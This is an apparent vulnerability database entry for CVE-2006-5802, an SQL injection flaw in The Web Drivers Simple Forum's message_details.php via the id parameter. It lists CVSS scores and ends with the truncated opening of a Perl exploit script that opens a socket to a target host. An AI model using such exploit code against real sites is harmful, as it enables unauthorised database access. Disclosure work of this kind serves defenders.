7.5
CVSSv2

CVE-2006-5802

Published: 08/11/2006 Updated: 19/10/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in message_details.php in The Web Drivers Simple Forum, dated 20060318, allows remote malicious users to execute arbitrary SQL commands via the id parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

the web drivers simple forum

Exploits

#!perl use IO::Socket; #Download:wwwthewebdriverscom/forumzip #By:Bl0od3r #Germany =] if (@ARGV<3) { &header; } else { &get(); } sub get() { $host=$ARGV[0]; $path=$ARGV[1]; $id=$ARGV[2]; $socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80) or die ("[-]Error\n"); print "[~]Connecting!\n"; pri ...